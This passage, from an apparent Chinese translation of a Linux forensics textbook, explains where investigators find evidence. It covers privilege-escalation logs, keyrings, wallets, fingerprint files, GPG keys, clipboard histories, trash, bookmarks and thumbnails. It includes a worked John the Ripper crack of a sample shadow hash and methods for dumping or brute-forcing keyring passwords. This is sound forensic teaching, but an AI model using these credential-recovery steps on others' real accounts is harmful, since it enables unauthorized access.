删除用户或组不会自动删除由这些用户拥有的文件。除非明确删除,否则这些文件仍然存在,并且会以已删除用户的原始数字 ID 显示。

一些取证程序或密码恢复工具能够尝试恢复存储在 shadow 文件中的加密密码。以下是 John the Ripper 从为用户 sam 提取的 /etc/shadow 条目中恢复密码的示例:

# cat sam.txt
sam:$6$CxWwj5nHL9G9tsJZ$KCIUnMpd6v8W1fEu5sfXMo9/K5ZgjbX3ZSPFhthkf5DfWbyzGL3DxH
NkYBGs4eFJPvqw1NAEQcveD5rCZ18j7/:18746:0:99999:7:::
# john sam.txt
Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized
as "sha512crypt-opencl"
...
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
...
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
canada           (sam)
...

在这里,john 破解工具通过字典或基于词汇表的攻击发现密码是 canada。John the Ripper 会在运行它的用户的 ~/.john/ 目录中留下密码破解活动的痕迹,包括以前恢复的密码。

提升的权限

在 Linux 系统中,典型的用户帐户预计具有足够的权限来进行“正常工作”,但没有足够的权限去破坏系统、干扰其他用户或访问本应保密的文件。只有一个用户,即 root(UID 0),拥有执行所有操作的权限。若干机制允许普通用户提升权限,以执行某些授权任务。

传统的 Unix su(替代用户)命令允许以另一个用户或组的权限执行命令(如果未指定,则默认为 root)。su 命令的失败和成功使用记录会出现在系统日志中,如下所示:

Aug 20 09:00:13 pc1 su[29188]: pam_unix(su:auth): authentication failure;
 logname= uid=1000 euid=0 tty=pts/4 ruser=sam rhost= user=root
Aug 20 09:00:15 pc1 su[29188]: FAILED SU (to root) sam on pts/4
...
Aug 20 09:01:20 pc1 su[29214]: (to root) sam on pts/4
Aug 20 09:01:20 pc1 su[29214]: pam_unix(su:session): session opened for user
 root by (uid=1000)

默认情况下,所有用户都被允许使用 su 命令。有关更多信息,请参阅 su(1) 手册页。

sudo 命令比 su 提供了更精细的权限管理,并可以配置为仅允许某些用户执行特定命令。sudo 配置可以在 /etc/sudoers 文件中找到,或在 /etc/sudoers.d/ 目录中的文件中。sudo 组中也可能包含授权用户的列表。

授权用户使用 sudo 命令的失败和成功记录如下所示:

Aug 20 09:21:22 pc1 sudo[18120]: pam_unix(sudo:auth): authentication failure;
logname=sam uid=1000 euid=0 tty=/dev/pts/0 ruser=sam rhost= user=sam
...
Aug 20 09:21:29 pc1 sudo[18120]:   sam : TTY=pts/0 ; PWD=/home/sam ; USER=
root ; COMMAND=/bin/mount /dev/sdb1 /mnt
Aug 20 09:21:29 pc1 sudo[18120]: pam_unix(sudo:session): session opened for
user root by sam(uid=0)

未经授权的用户(即那些不被视为“管理员”的用户)尝试使用 sudo 的操作也会出现在系统日志中:

Aug 20 09:24:19 pc1 sudo[18380]:   sam : user NOT in sudoers ; TTY=pts/0 ;
PWD=/home/sam ; USER=root ; COMMAND=/bin/ls

sudo 活动的搜索可以揭示有关系统被攻破或普通用户滥用的信息,包括尝试执行的特权命令。

当用户第一次运行 sudo 时,可能会出现警告信息或关于风险和责任的“讲解”:

$ sudo ls

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for sam:

如果 sudo 配置为仅显示一次信息(默认),则会在 /var/db/sudo/lectured/ 目录中创建一个以用户命名的零长度文件。该文件的创建时间戳表示用户首次运行 sudo 命令的时间。有关更多信息,请参阅 sudo(8) 和 sudoers(5) 手册页。

另一种提升权限的方法是使用可执行文件上的 setuid 标志,表示该程序应以文件所有者的 UID 执行。使用此标志不会记录日志(尽管 setuid 程序本身可能会生成日志)。setuid 程序的 ls -l 权限信息中会有一个“s”:

$ ls -l /usr/bin/su
-rwsr-xr-x 1 root root 67552 23\. Jul 20:39 /usr/bin/su

在取证调查中,可以搜索所有 setuid 文件。特别是,setuid 文件如果不是任何官方发行版软件包的一部分,可能会很有趣;例如:

$ find /usr -perm -4000
/usr/bin/sudo
...
/usr/bin/passwd
...
/tmp/Uyo6Keid
...

在这个例子中,一个可疑的 setuid 文件被发现在 /tmp/ 目录下,应进一步检查。

所有 setuid 文件都对系统构成风险,如果它们包含漏洞,可能被利用。如果非特权用户能够利用 setuid 程序,他们可能会获得未授权访问权限,或者以其他用户(例如 root)身份执行任意代码。文件还可以设置 setgid 标志,导致程序以文件的组身份运行。

polkit(也称为 PolicyKit)框架提供的 API 也可以通过 D-Bus 提升权限。polkit 守护进程(polkitd)监听请求并采取适当的行动。授权操作通过位于 /etc/polkit-1//usr/share/polkit-1/ 目录中的 .rules.policy 文件进行配置。在做出授权决策时,polkitd 会检查这些规则和政策,并将活动记录到日志中,如下所示:

Aug 20 10:41:21 pc1 polkitd[373]: Operator of unix-process:102176:33910959 FAILED
to authenticate to gain authorization for action org.freedesktop.login1.reboot-
multiple-sessions for system-bus-name::1.2975 [<unknown>] (owned by unix-user:sam)

在此示例中,用户尝试重启系统,polkit 请求认证,用户未能提供认证。

pkexec 命令行工具是 polkit 软件包的一部分,其功能类似于 sudo。有关通过 D-Bus 使用 polkit 的更多信息,请参阅 polkit(8) 和 polkitd(8) 的手册页。

Linux 内核还提供了 capabilities,可以在更细粒度的级别上扩展和减少用户的权限。Systemd 具有在单元文件中定义能力的选项。有关更多信息,请参阅 capabilities(7) 和 systemd.unit(5) 的手册页。

GNOME 密钥环

GNOME 桌面环境有一个名为 GNOME 密钥环的凭证存储机制。用户可以创建多个密钥环,每个密钥环可以存储多个密码。前端工具与后台守护进程交互,后台守护进程创建和管理包含密码的文件。

密钥环文件的默认位置是 ~/.local/share/keyrings/(以前是 ~/.gnome2/keyrings/)。文件名与密钥环名称相同,空格被替换为下划线。如果存在多个密钥环并指定了默认密钥环,则名为 default 的文件将包含默认密钥环的名称。图 10-4 显示了 GNOME 密钥环的概述。

Image

图 10-4:GNOME 密钥环数据流

在某些安装中,pam_gnome_keyring PAM 模块可能会使用一个密钥环进行登录。在这种情况下,登录密码与默认的gnome-keyring密码相同。如果在创建时没有为密钥环设置密码,则密钥环文件将以未加密的形式存储,密码和其他信息将以可读的纯文本文件格式显示。

.keyring 文件可以复制到另一个系统进行分析。解密后的密钥环文件从取证角度来看包含有趣的数据,包括密钥环的创建时间戳、每个密码条目的创建和修改时间戳,以及每个密码条目的描述和密码。

如果您没有密码,可以使用支持 GNOME Keyring 格式的恢复工具进行暴力破解尝试。如果您拥有解锁密钥环的密码,则有几种方法可以提取信息。

查看所有信息的最简单方法是为密钥环设置一个空白密码,这样生成的密钥环文件内容将以未加密的形式保存。提取信息的另一种方法是使用 dump-keyring0 -format,该工具包含在 GNOME Keyring 源代码中,^(10),如下面所示:

$ dump-keyring0-format ~/.local/share/keyrings/Launch_Codes.keyring
Password:
#version: 0.0 / crypto: 0 / hash: 0

[keyring]
display-name=Launch Codes
ctime=0
mtime=1583299936
lock-on-idle=false
lock-after=false
lock-timeout=0
x-hash-iterations=1953
x-salt=8/Ylw/XF+98=
x-num-items=1
x-crypto-size=128

[1]
item-type=2
display-name=WOPR
secret=topsecretpassword
ctime=1583300127
mtime=1583419166

[1:attribute0]
name=xdg:schema
type=0
value=org.gnome.keyring.Note

使用此方法,您可以查看密钥环和各个条目的信息。密码条目包含密码、创建时间和最后修改时间。

Seahorse 是 GNOME 桌面环境中用于管理密码和密钥的主要图形工具。Seahorse 可以创建和管理密码密钥环(通过 gnome-keyring-daemon),还可以创建和管理其他密钥,如 SSH 和 GNU 隐私保护(GPG)。对 PKCS11 证书的支持正在开发中,使用的是 user.keystore 文件。图 10-5 显示了 Seahorse 的截图。

Image

图 10-5:Seahorse 密码和密钥管理工具

KDE 钱包管理器

KDE 桌面环境有一个名为 KWallet 的凭证存储机制,用户可以在其中存储多个密码和网页表单数据。钱包受一个独立的密码保护。集成了 KDE 的应用程序能够使用 KWallet 存储密码和其他敏感信息。

使用 KWallet 管理的钱包通过 kwalletd 守护进程操作,该守护进程由钱包管理器按需启动。钱包可以使用 Blowfish 算法或用户的 GPG 密钥进行加密。图 10-6 在下一页显示了 KDE 钱包系统的概览。

钱包文件的默认位置是 ~/.local/share/kwalletd/,文件名与钱包相同。每个钱包有两个文件:一个是 .kwl 扩展名的文件,包含加密数据;另一个是 .salt 扩展名的文件,包含盐数据,用于加强对密码破解的防护。.kwl 文件有一个头部,用于确定钱包文件的版本和类型。

钱包文件的前 12 个字节始终相同,表示它是一个 KDE 钱包:

4B 57 41 4C 4C 45 54 0A 0D 00 0D 0A 00 01 02 00 KWALLET.........

第 13 和 14 个字节是主版本号和次版本号,第 15 和 16 个字节分别指定加密算法和哈希算法(更多信息请参见github.com/KDE/kwallet/blob/master/src/runtime/kwalletd/backend/backendpersisthandler.cpp)。如果.kwl文件的第 15 个字节是 0x02,则表示 GPG;如果第 15 个字节是 0x00 或 0x03,则表示 Blowfish 的版本。

Image

图 10-6:KWallet 数据流

一些 Linux 发行版创建了一个名为kdewallet的默认钱包,用户可以使用前端工具如kwallet-querykwalletmanager5创建和管理额外的钱包,如图 10-7 所示。

Image

图 10-7:KWallet 管理工具

您可以将这些文件复制到另一台 Linux 机器上,使用相同的钱包管理工具进行分析。

如果密码恢复工具支持 KWallet 文件的 Blowfish 格式,可以尝试暴力破解密码。

在某些情况下,登录密码和 KWallet 密码可能是相同的——例如,当使用pam_kwallet时。如果使用 GPG,则 KWallet 密码与用户的 GPG 密钥密码相同。还可以检查kwalletd5kwalletmanager5的日志,因为在使用钱包管理器时,有时会出现错误信息,提供与使用证据相关的时间戳。

生物识别指纹身份验证

最近版本的 Linux 桌面提供生物识别指纹身份验证功能,如果机器具有兼容的硬件。fprint 项目(fprint.freedesktop.org/)为各种指纹识别设备提供 Linux 支持,可用于身份验证。

用户必须先注册指纹,才能使用它们。注册过程将指纹信息保存到文件中(每个手指一个文件)。这些文件位于/var/lib/fprint/目录中,如下所示:

$ sudo ls /var/lib/fprint/sam/synaptics/45823e114e26
1 2 7 8

该目录路径由用户名(sam)、指纹识别设备的制造商(synaptics)和 USB 设备编号或序列号(45823e114e26)构成。已注册手指的文件名保存为数字。每个手指的相关数字如下:

1    左拇指

2    左食指

3    左中指

4    左无名指

5    左小指

6    右拇指

7    右食指

8    右中指

9    右无名指

10    右小指

指纹对象的结构已在项目团队的网站上进行了文档化,其中包含了法医学检查的有用信息。

指纹文件包含有关指纹读取器、用户名、注册日期以及可能的扫描指纹数据的信息。根据指纹读取器硬件的不同,这些文件可能会有所不同。有些读取器会将指纹数据存储在设备本身,而只在文件中保存元数据。

一个 PAM 模块(pam_fprintd)和 PAM 配置文件(例如gdm-fingerprint)便于进行指纹扫描以实现认证。该 PAM 模块还会记录成功的指纹认证,如下所示:

Dec 26 20:59:33 pc1 gdm-fingerprint][6241]: pam_unix(gdm-fingerprint:session):
session opened for user sam(uid=1000) by (uid=0)

在这里,使用生物识别认证通过 GDM 登录到机器。

从取证角度来看,生物识别认证尤其有趣。它通过识别个人的身体特征来进行身份验证,而不是依赖可能被盗用或共享的密码。然而,生物识别认证也可能被迫(胁迫、敲诈、暴力或其他威胁)或在某人睡觉或失去知觉时“被盗”。其他使用指纹复制品在某些材料上的方法已被证明在一些指纹读取器上有效。^(11)

GnuPG

1991 年,Philip Zimmermann 创建了“相当好的隐私”(PGP),为公众提供了一种简单的强加密工具来保护文件和消息。最初它是免费的并且是开源的,但后来变成了商业产品。关于专利和商业化的担忧促使了 OpenPGP 标准的诞生,最初在 RFC 2440 中描述(目前是 RFC 4880 和 RFC 5581)。1999 年,一个独立的 OpenPGP 实现以 GNU Privacy Guard(GnuPG 或 GPG)的名义开发,这个软件项目至今仍在积极开发。

GPG 是一种流行的加密方式,广泛应用于电子邮件程序、办公程序、软件包完整性验证工具、密码管理器、^(12)以及其他需要可互操作加密的程序中。

大多数 Linux 发行版默认包含 GPG 软件,目的是验证软件包的签名。像 Seahorse 和 KGpg 这样的前端工具使得 Linux 用户轻松生成和管理 GPG 密钥。解密 GPG 加密文件是取证调查员常面临的挑战之一,同时也面临其他加密挑战。

gpg程序使用默认选项进行编译,但会查找系统范围的配置文件(/etc/gnupg/gpgconf.conf)以及用户配置文件的默认位置(~/.gnupg/gpg.conf)。图 10-8 提供了 GPG 的概述。

Image

图 10-8:GnuPG 数据流

关键文件由属于用户的公钥和私钥对以及已添加到公钥环中的其他密钥组成。在较新的系统中,用户的公钥位于/.gnupg/pubring.kbx*(早期版本存储在*/.gnupg/pubring.gpg中)。

除了私钥外,检查添加到密钥环中的公钥也可能具有兴趣。这个文件可以在没有秘密密钥的情况下读取,并且可能包含取证相关的信息。例如,任何用户添加的公钥都会显示出来,并伴有创建日期、姓名、电子邮件地址和其他信息。

gpg 可执行文件没有指定使用哪个文件的选项,但可以通过设置 GNUPGHOME 环境变量指向 .gnupg 目录的副本(如果你已将文件移动到单独的分析机器上),如下面的示例所示:

$ GNUPGHOME=/evidence-extracted/home/sam/.gnupg gpg --list-public-keys
/home/sam/extract/.gnupg/pubring.kbx
------------------------------------
...
pub  rsa2048 2011-04-26 [SC]
   FCF986EA15E6E293A5644F10B4322F04D67658D8
   uid           [ unknown] FFmpeg release signing key <ffmpeg-devel@ffmpeg.org>
   sub   rsa2048 2011-04-26 [E]

其他用于列出或提取密钥和信息的 GPG 命令也可以以类似方式使用。更多详细信息请参阅 gpg(1) 手册页。

一些取证程序或密码恢复工具能够尝试恢复 GPG 私钥。John the Ripper 也支持暴力破解 GPG 加密文件。

Linux 桌面取证

与对 Windows 或 Macintosh 计算机的取证检查类似,Linux 桌面系统对于取证调查员来说也具有重要意义。分析来自各种图形组件的数字痕迹可以帮助重建过去的活动和用户行为。本节内容重点介绍在图形化 Linux 系统中寻找有用的取证线索。

桌面设置和配置

如今大多数桌面系统使用数据库来存储配置数据。任何应用程序都可以使用这个数据库,配置设置可以在不同的程序之间共享。

GNOME 配置

基于 GNOME 3 和 GNOME 40^(13) 的桌面环境使用 GSettings API 存储设置和配置数据,GSettings API 进一步使用 dconf 配置系统。每当应用程序或桌面组件想要修改配置设置时,dconf-service 程序会通过 D-Bus 激活(为了性能考虑,读取设置时直接从文件中进行,而不通过 D-Bus)。Dconf 在概念上类似于 Windows 注册表,其中数据以层次树的形式存储,包含键和值。

像 GNOME 控制中心(请参见下一页的 图 10-9)或 GNOME Tweaks 这样的桌面配置工具会读取并写入设置到 dconf 系统中(dconf-editor 工具可以用来查看所有设置)。任何使用 glib 库构建的应用程序也能够利用 dconf 系统来存储配置信息。

Image

图 10-9:GNOME 控制中心

由于查看 dconf 配置的典型工具(如 GNOME 控制中心、Gnome Tweaks、gsettingsdconf-editor)也都通过 D-Bus 在实时系统上操作,因此它们不适用于事后取证分析。因此,我们必须检查文件系统中存储配置数据的文件。所有偏离默认设置的 dconf 设置(即用户或应用程序所做的更改)都存储在一个单独的文件中:~/.config/dconf/user

这个文件使用一种称为 GNOME 变体(gvdb)的二进制数据库格式。可以使用离线阅读器提取数据库,阅读器可以在这里找到:github.com/chbarts/gvdb/reader工具可以提取任何 gvdb 文件的内容,包括 GNOME 配置数据库;例如:

$ reader /home/sam/.config/dconf/user
/home/sam/.config/dconf/user
...
   /org/gnome/shell/favorite-apps
       ['org.gnome.Calendar.desktop', 'org.gnome.Music.desktop',
       'org.gnome.Photos.desktop', 'org.gnome.Nautilus.desktop',
       'org.gnome.Software.desktop', 'termite.desktop',
       'firefox.desktop'] ➊ 
...
   /org/gnome/cheese/camera
       'HD Webcam C525' ➋ 
...
   /org/gnome/desktop/background/picture-uri
       'file:///home/sam/Pictures/Webcam/2020-10-11-085405.jpg' ➌ 
...
   /org/blueman/plugins/recentconns/recent-connections
       [{'adapter': 'B4:6B:FC:56:BA:70',
       'address': '38:01:95:99:4E:31',
       'alias': '[Samsung] R3', 'icon': 'audio-card', 'name': 'Auto connect profiles',
       'uuid': '00000000-0000-0000-0000-000000000000', 'time': '1597938017.9869914',
       'device': '', 'mitem': ''}] ➍ 
...
   /org/gnome/epiphany/search-engines
       [('DuckDuckGo', 'https://duckduckgo.com/?q=%s&t=epiphany', '!ddg')] ➎ 
...
   /system/proxy/socks/port
       8008 ➏ 
...
   /system/proxy/socks/host
       'proxy.example.com' ➏ 
...

在这个示例中,我们看到各种可能在 dconf 数据库文件中找到的桌面配置信息。配置的层次结构可以在路径(/org/gnome/. . .)和下面的内容中看到。从这个示例中,从取证的角度看,比较有趣的配置包括:

  • GNOME 仪表盘上列出的最爱应用(通过点击活动显示的任务栏) ➊

  • 被奶酪程序使用的网络摄像头(奶酪是一个网络摄像头照片应用:* wiki.gnome.org/Apps/Cheese *)➋

  • 桌面背景图片的文件位置(很可能是通过网络摄像头拍摄的)➌

  • 最近的蓝牙设备,包括 MAC 地址、设备描述和时间戳 ➍

  • 用户配置的默认搜索引擎(DuckDuckGo)在 Epiphany 网页浏览器中 ➎

  • 用户定义的代理设置,包括协议(SOCKS)、TCP 端口号和代理主机 ➏

任何应用程序都可以通过 GSettings API 保存设置,并且它们将存储在 dconf 数据库文件中。除了 gvdb user 文件外,系统范围的 dconf 数据库也可以在*/etc/dconf/db/**中找到。用户定义的配置数据优先于系统配置或其他配置数据库(配置文件)。

保存的配置信息取决于应用程序开发者。如前面的示例所示,配置信息可以包括任何持久化信息,包括已打开文件的历史记录、书签、各种事件的时间戳、远程服务器和帐户名称、以前连接的设备、以前的日历通知,以及更多可能对取证调查有用的信息。有关更多信息,请参阅 dconf(7)手册页。

KDE 配置

KDE 桌面通过 KConfig 模块(KCMs)管理用户的配置更改。^(14)这些配置更改以纯文本文件形式存储在用户的.config/目录中,文件名通常以rc结尾。以下是一些示例:

$ ls .config/*rc
 .config/akregatorrc                .config/kmixrc
 .config/baloofilerc                .config/konsolerc
 .config/gtkrc                      .config/kscreenlockerrc
 .config/gwenviewrc                 .config/ksmserverrc
 .config/kactivitymanagerdrc        .config/ktimezonedrc
 .config/kactivitymanagerd-statsrc  .config/kwinrc
 .config/kateschemarc               .config/kwinrulesrc
 .config/kcminputrc                 .config/kxkbrc
...

在这个示例中,用户的 KDE/Plasma 配置更改与系统默认设置不同,这些更改被写入文件。这些文件可以来自与 KDE/Plasma 集成的任何应用程序。

这些文件采用了基本的ini风格格式,易于理解,如下所示:

$ cat ~/.config/kcookiejarrc
[Cookie Policy]
AcceptSessionCookies=true
CookieDomainAdvice=evil.com:Reject,evil.org:Reject
CookieGlobalAdvice=Accept
Cookies=true
RejectCrossDomainCookies=true

在这里,用户配置了一个个人的 Cookie 策略,其中明确拒绝来自某些网站的 Cookie。

其他桌面配置

基于 GNOME 2 的桌面环境和应用程序使用 GConf 系统存储设置和配置信息。虽然 GConf 现在已被弃用,但一些应用程序仍可能使用它。配置信息以可读的 XML 格式文本文件存储。用户定义的 gconf 文件位于~/.config/gconf/**,而系统范围的文件则位于/etc/gconf/**。

其他桌面环境、窗口管理器和图形组件可能会将配置信息存储在文件或数据库中,这些文件位于用户 XDG 标准目录(/.config/*、*/.local/share/)或作为隐藏文件存储在主目录(*~/.**)中。仔细检查用户主目录可能会发现一些特定于桌面环境或未遵循 XDG 基础目录标准的组件的额外配置。

桌面剪贴板数据

早期的 X11 系统有非常简单的复制/粘贴机制,选中的文本可以通过中键粘贴到任何获得焦点的窗口中(选中的文本不会被保存)。《客户端间通信规范手册》(ICCCM)标准将其称为“PRIMARY”选择,并添加了一个额外的“CLIPBOARD”用于保存到内存中的文本,可以随时粘贴。

现代桌面环境引入了用于管理多个项目的剪贴板管理系统,这些项目在不同的登录会话中会持续保存。这些剪贴板管理器通常作为用户守护进程、插件或托盘小程序来实现,它们协调文本的复制和粘贴选择。

大多数桌面环境都有默认的剪贴板管理器,但用户可以选择安装其他独立的剪贴板管理器程序。本节描述了从最常见的剪贴板管理器中分析和提取剪贴板数据的方法。

KDE 桌面提供了 Klipper 剪贴板管理器。默认情况下,最后七个复制的项目会被记住并保存到文件~/.local/share/klipper/history2.lst中。该文件有一个简短的头部,剪贴板条目由string一词分隔。

该文件可以通过十六进制编辑器或支持 16 位字符宽度的文本编辑器查看。以下sed命令可以快速列出保存的剪贴板条目:

$ sed 's/s.t.r.i.n.g...../\n/g' .local/share/klipper/history2.lst
.P^ÃĞ5.18.2

apropos clipboard

xclip - command line interface to X selections

UUID=514d2d84-e25d-41dd-b013-36d3a4575c0a

MyUncrackableSuperPassword!1234

https://www.opensuse.org/searchPage

头部以版本号结尾,之后的行是复制到剪贴板中的项目历史记录。你也可以使用strings命令(可能需要-el参数),但列表将以未经格式化的方式显示。

使用 GNOME 桌面环境的发行版可能会有不同的剪贴板管理器。这些管理器作为插件或独立程序提供,有些发行版默认并不安装剪贴板管理器。以下示例展示了 GNOME 的剪贴板指示器扩展。默认历史记录大小为 15 个项目,这些项目存储在~/.cache/clipboard-indicator@tudmotu.com/registry.txt文件中,如下所示:

$ cat .cache/clipboard-indicator@tudmotu.com/registry.txt
[{"contents":"GNOME Shell Extension","favorite":false},{
"contents":"https://www.debian.org/","favorite":false},{
"contents":"https://www.gnome.org/gnome-3/","favorite":false}]

这是一个简单的 JSON 文件,可以使用任何文本编辑器打开。

Clipman 是 Xfce 面板的一个插件,它嵌入在桌面顶部或底部的面板栏中。默认情况下,10 个项目存储在~/.cache/xfce4/clipman/textsrc文件中。这些项目以可读的格式存储,每个项目之间用分号分隔:

$ cat .cache/xfce4/clipman/textsrc
[texts]
texts=1584351829;MyAWeSoMeUnCrackablePassword!1234;This paragraph has\nmultiple
lines\nof text to demonstrate\nhow it looks in the\nclipboard history;

texts=中的内容是一行文本。复制的多行文本由换行符\n分隔。

另一个例子是 Lubuntu,它默认使用 Qlipper 并将剪贴板数据存储在~/.config/Qlipper/qlipper.ini文件中。

Linux 有许多剪贴板管理器。每个发行版都会自行决定使用哪个管理器,你需要确定正在使用哪个剪贴板系统,并了解数据可能存储的位置。

桌面垃圾桶

计算机桌面隐喻还引入了垃圾桶的概念,允许用户轻松恢复被丢弃的文件。freedesktop.org为在 Linux 桌面系统上实现垃圾桶定义了一个标准。^(15) 该标准将文件移入垃圾桶称为丢弃,从文件系统中断开链接则称为删除。遵循这一标准的责任不仅仅在于发行版或桌面环境,主要还在于文件管理器。

桌面或文件管理器可以显示一个垃圾桶图标,用户可以在其中查看丢弃的文件,恢复它们,或者从文件系统中删除它们(即清空垃圾桶)。根据存储介质和文件系统的类型,从垃圾桶中删除的文件可能仍然可以通过取证工具恢复。

GNOME、KDE、Xfce 和 LXDE 的默认文件管理器分别是 Nautilus、Dolphin、Thunar 和 PCManFM。这些文件管理器(以及其他文件管理器)遵循垃圾桶规范。当文件和目录被移入垃圾桶时,它们会被移动到文件系统中的另一个位置,并保存恢复它们所需的信息。垃圾桶的典型位置是用户主目录下的~/.local/share/Trash/,该位置包含以下内容:

files/ 存放丢弃文件和目录的目录。除非整个目录被丢弃,否则files/目录是平面的,没有额外的结构。

info/ 一个包含**.trashinfo*文件的目录,每个已删除的文件或目录都有一个对应的文件。这些文件包含被丢弃项目的原始位置及其被移动到垃圾桶的时间戳。

directorysizes 当一个目录被丢弃时,一些文件管理器会更新directorysizes文件,记录被丢弃目录的名称、大小以及移动的时间戳(Unix 纪元)。

expunged/ GNOME gvfs 可能会创建一个 expunged 目录,用于从垃圾桶中删除文件。这不是标准的一部分,且并不总是出现。

以下示例展示了一个典型的垃圾文件夹结构,其中包含一个被丢弃的文件(helloworld.c)和一个被丢弃的目录(Secret_Docs/):

$ find .local/share/Trash/
.local/share/Trash/
.local/share/Trash/files
.local/share/Trash/files/Secret_Docs
.local/share/Trash/files/Secret_Docs/mypasswords.odt
.local/share/Trash/files/helloworld.c
.local/share/Trash/info
.local/share/Trash/info/Secret_Docs.trashinfo
.local/share/Trash/info/helloworld.c.trashinfo
.local/share/Trash/directorysizes

.trashinfodirectorysizes文件的内容是可读的纯文本。directorysizes文件为每个已删除的目录包含一行(除了.trashinfo文件)。

垃圾桶目录的内容不会保存其他元信息——只保存文件大小。.trashinfodirectorysizes文件内容如下:

$ cat .local/share/Trash/info/helloworld.c.trashinfo
[Trash Info]
Path=/home/sam/helloworld.c
DeletionDate=2020-03-16T15:55:04
$ cat .local/share/Trash/info/Secret_Docs.trashinfo
[Trash Info]
Path=/home/sam/Secret_Docs
DeletionDate=2020-03-16T21:14:14
$ cat .local/share/Trash/directorysizes
8293 1584389654463 Secret_Docs

垃圾桶文件夹(除了用户主目录中的垃圾桶)可以存在于可移动存储(如 USB 闪存盘)、挂载的网络共享和其他位置,使用.Trash/.Trash-UID/目录(其中 UID 是用户的数字 ID),该目录位于挂载目录的顶部。垃圾桶规范不要求系统支持此功能,但许多文件管理器都支持。

在任何操作系统上分析垃圾桶文件夹是法医调查中的常规操作。当进行删除尝试时,会存在删除时间戳,并且会揭示出一个原始位置,可能会找到更多相关的文件。

桌面书签和最近的文件

在桌面上识别书签(有时称为“收藏夹”)和最近使用的项目是法医检查的典型部分。在 Linux 桌面上,书签和最近使用的文件,或称“最近的”,是通过相同的机制进行管理的。最近的文档也可以被认为是动态创建的书签。

xbel文件格式指的是 XML 书签交换语言(请参见pyxml.sourceforge.net/topics/xbel/www.freedesktop.org/wiki/Specifications/desktop-bookmark-spec/)。这些文件不仅限于办公文档和图片;它们还可能包含应用程序或文件管理器打开的其他文件(例如 zip 文件)。

在 Linux 系统中,书签和关于最近文件的信息可以在多个标准位置找到,文件扩展名为.xbel。例如,.local/share/recently-used.xbel.local/user-places.xbel文件就存储在用户的主目录中。这些文件可能还有备份副本(.bak),其中包含之前书签的项目。

以下显示的是最近使用的文件中的单个条目(可能有多个条目):

$ cat ~/.local/share/recently-used.xbel
  <bookmark href="file:///tmp/mozilla_sam0/Conference.pdf" added="2020-11-03T06
  :47:20.501705Z" modified="2020-11-03T06:47:20.501738Z" visited="2020-11-03T06
  :47:20.501708Z">
    <info>
      <metadata owner="http://freedesktop.org">
        <mime:mime-type type="application/pdf"/>
        <bookmark:applications>
          <bookmark:application name="Thunderbird" exec="&apos;thunderbird
          %u&apos;" modified="2020-11-03T06:47:20.501717Z" count="1"/>
        </bookmark:applications>
      </metadata>
    </info>
  </bookmark>
...

这里,Conference.pdf文件是由 Thunderbird 邮件客户端保存到临时位置的。文件类型和时间戳的信息也被保存。

这个示例展示了user-places.xbel文件中的一项条目:

$ cat ~/.local/user-places.xbel
 <bookmark href="file:///home/sam/KEEPOUT">
 <title>KEEPOUT</title>
 <info>
  <metadata owner="http://freedesktop.org">
   <bookmark:icon name="/usr/share/pixmaps/electron.png"/>
  </metadata>
  <metadata owner="http://www.kde.org">
   <ID>1609154297/4</ID>
  </metadata>
 </info>
</bookmark>

这里,文件夹/home/sam/KEEPOUT在 KDE 的 Dolphin 文件管理器中被书签(“添加到位置”)。时间戳指的是添加的日期或书签属性更改(如名称、图标等)的日期。

一些最近的文件数据存储在.desktop文件中,位于.local/share/Recent Documents/目录下;例如:

$ cat PFI_cover-front-FINAL.png.desktop
[Desktop Entry]
Icon=image-png
Name=PFI_cover-front-FINAL.png
Type=Link
URL[$e]=file:$HOME/publish/pfi-book/nostarch/COVER/PFI_cover-front-FINAL.png
X-KDE-LastOpenedWith=ristretto

这里,PFI_cover-front-FINAL.png图像文件(我的最后一本书的封面艺术)是最近由 Ristretto 应用程序打开的。这些桌面文件不包含时间戳,文件系统时间戳可能会指示创建日期。

上述书签方法是为了跨应用程序共享而设计的,但单个应用程序可能有自己的实现来存储书签和最近的文档。在取证检查中,已安装程序的列表可能会被分析,以寻找特定于应用程序的痕迹。这些痕迹通常存储在用户的 .cache/ 目录中。

桌面缩略图图像

当 Linux 桌面环境开始流行时,图形应用程序开始开发各自管理缩略图图像(原始图像的缩小版本)的方法,以便快速预览。今天,这一标准由freedesktop.org规范化,并被大多数需要缩略图功能的现代应用程序使用。这意味着由一个应用程序创建的缩略图可以被另一个应用程序重用,因为它们都存储在同一个位置,并采用相同的格式。Linux 桌面缩略图的规范可以在 www.freedesktop.org/wiki/Specifications/thumbnails/ 中找到。

缩略图通常存储在 ~/.cache/thumbnails/ 目录中的多个子目录中。三个可能的子目录用于存储缩略图图像:large/normal/fail/。这些目录包含不同尺寸(通常为 256×256 或 128×128)的缩略图图像,还包括创建缩略图时的失败尝试。

标准规定,所有的缩略图文件必须以 PNG 格式保存,并包含关于原始文件的元数据。缩略图图像中可能存储的元数据包括:

Thumb::URI    原始文件的 URI(必填)

Thumb::MTime    原始文件的修改时间(必填)

Thumb::Size    原始文件的大小

Thumb::Mimetype    文件的 MIME 类型

描述    关于缩略图内容的描述性文字

Software    创建缩略图的软件信息

Thumb::Image::Width    原始图像的宽度(像素)

Thumb::Image::Height    原始图像的高度(像素)

Thumb::Document::Pages    原始文档的页数

Thumb::Movie::Length    原始视频的时长(秒)

date:create    缩略图文件的创建时间戳

date:modify    缩略图文件的修改日期(如果原始文件发生变化,则更新)

缩略图文件名是通过原始文件位置的 URI 的 MD5 哈希值生成的(不包含尾随换行符)。例如,如果原始文件的 URI 是 file:///home/username/cats.jpg,则缩略图文件名将是 14993c875146cb2df70672a60447ea31.png

失败的缩略图按失败的程序进行排序,并包含一个空白的 PNG 文件,尽可能包含关于原始文件的所有元数据。保存在失败目录中的 PNG 文件的时间戳是失败的时间。

以下示例展示了在用户的 ~/.cache/ 目录中找到的缩略图:

$ ls .cache/thumbnails/normal/
a13c5980c0774f2a19bc68716c63c3d0.png d02efb099973698e2bc7364cb37bd5f4.png
a26075bbbc1eec31ae2e152eb9864976.png d677a23a98437d33c7a7fb5cddf0a5b0.png
a3afe6c3e7e614d06093ce4c71cf5a43.png dc1455eab0c0e77bf2b2041fe99b960e.png
